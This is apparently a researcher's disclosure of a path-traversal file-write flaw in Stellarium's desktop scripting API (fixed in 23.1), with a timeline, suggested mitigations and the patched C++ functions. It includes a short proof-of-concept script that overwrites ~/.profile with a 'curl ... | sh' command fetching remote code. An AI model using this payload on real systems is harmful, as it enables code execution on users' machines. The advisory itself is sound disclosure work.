Arbitrary file write in Stellarium file association
Published:
Updated:
I found an arbitrary file write vulnerability (through path traversal) which would be exploited for arbitrary code execution in Stellarium (desktop version).
Note: Stellarium
Stellarium is an awesome 🤩 program which helps you make sense of all the stars ⭐ (and planets 🪐) you can see in the sky. You can try the web version.
Found on:
- Debian testing (other OSes are impacted).
- Stellarium 0.22.2-1 (desktop application).
Fixed in: Stellarium 23.1.
Vulnerability
Stellarium is associated with the application/x-stellarium-script MIME type. Opening such as file may lead to arbitrary file creation through path traversal.
For example, the following payload can overwrite the user ~/.profile
:
core.output('curl https://example.com/payload | sh -c');
core.saveOutputAs('../.profile');
When processing this script, Stellarium provides the following log:
saving copy of output.txt to "/home/foobar/.stellarium/../.profile"
The ~/.profile
file is now:
curl https://example.com/payload | sh -c
This may be used to trigger arbitrary code execution.
An attacker may trigger the execution of a malicious Stellarium script (JavaScript) for example through the user web browser (eg. Firefox) or email client (eg. Thunderbird).
Mitigation
My propositions for mitigations were:
- preventing scripting APIs from writing outside of ~/.stellarium;
- disabling problematic scripting APIs when executing a script from the CLI;
- disabling problematic scripting APIs when executing a script outside of trusted locations;
- asking confirmation before executing a Stellarium script from the CLI;
- asking confirmation before executing a Stellarium script outside of trusted locations;
- asking confirmation before actually writing the file;
- removing the file association.
The screenshot function has been modified to in order to:
- disable writing to an external (non-default) directory;
- check that the requedted file format is supported.
void StelMainScriptAPI::screenshot(const QString& prefix, bool invert, const QString& dir, const bool overwrite, const QString &format)
{
QString realDir("");
if ((!dir.isEmpty()) && (!StelApp::getInstance().getScriptMgr().getFlagAllowExternalScreenshotDir()))
{
qWarning() << "SCRIPT CONFIGURATION ISSUE: the script wants to store a screenshot" << prefix << "." << format << "to an external directory " << dir;
qWarning() << " To enable this, check the settings in the script console";
qWarning() << " or set entry scripts/flag_allow_screenshots_dir=true in config.ini.";
}
else
realDir=dir;
const bool oldInvertSetting = StelMainView::getInstance().getFlagInvertScreenShotColors();
const QString oldFormat=StelMainView::getInstance().getScreenshotFormat();
if ((format.length()>0) && (format.length()<=4))
StelMainView::getInstance().setScreenshotFormat(format);
// Check requested against set image format.
if ((format.length()>0) && (StelMainView::getInstance().getScreenshotFormat() != format))
{
qWarning() << "Screenshot format" << format << "not supported. Not saving screenshot.";
return;
}
// [...]
}
The StelMainView::saveScreenShot()
function has been modified to strip path elements from the filePrefix
:
void StelMainView::saveScreenShot(const QString& filePrefix, const QString& saveDir, const bool overwrite)
{
screenShotPrefix = QFileInfo(filePrefix).fileName(); // Strip away any path elements (Security issue!)
if (screenShotPrefix.isEmpty())
screenShotPrefix = "stellarium-";
// ...
}
The StelScriptOutput::saveOutputAs()
function has been modified to:
- prevent writing outside of the default directory by default (absolute location, path traversal);
- disallow overwriting the stellarium configuration (
config.ini"
).
void StelScriptOutput::saveOutputAs(const QString &name)
{
QFile asFile;
const QFileInfo outputInfo(outputFile);
const QDir dir=outputInfo.dir(); // will hold complete dirname
const QFileInfo newFileNameInfo(name);
const bool okToSaveToAbsolutePath=StelApp::getInstance().getSettings()->value("scripts/flag_allow_write_absolute_path", false).toBool();
if (name.contains("config.ini"))
{
qWarning() << "SCRIPTING ERROR: You are trying to overwrite config.ini. Ignoring.";
return;
}
if (!okToSaveToAbsolutePath && ((newFileNameInfo.isAbsolute() || (name.contains(".."))))) // The last condition may include dangerous/malicious paths
{
qWarning() << "SCRIPTING CONFIGURATION ISSUE: You are trying to save to an absolute pathname or move up in directories.";
qWarning() << " To enable this, check the settings in the script console";
qWarning() << " or edit config.ini and set [scripts]/flag_allow_write_absolute_path=true";
asFile.setFileName(dir.absolutePath() + "/" + newFileNameInfo.fileName());
}
else if (okToSaveToAbsolutePath && (newFileNameInfo.isAbsolute()))
{
asFile.setFileName(name);
}
else
{
asFile.setFileName(dir.absolutePath() + "/" + name);
}
// ...
}
Timeline
- 2023-03-01, Reported to maintainers
- 2023-03-01/24, Mitigation development
- 2023-03-15, CVE allocated
- 2023-03-26, Stellarium 23.1 released
References
- Stellarium Scripting API
- Notes on Stellarium Scripting API
- My (rejected) pull request: Disable "dangerous" scripting calls unless --unsafe is passed
Appendix, Desktop Entry
[Desktop Entry]
Version=1.0
Type=Application
Name=Stellarium
# ...
Exec=stellarium --startup-script=%f
# ...
MimeType=application/x-stellarium-script;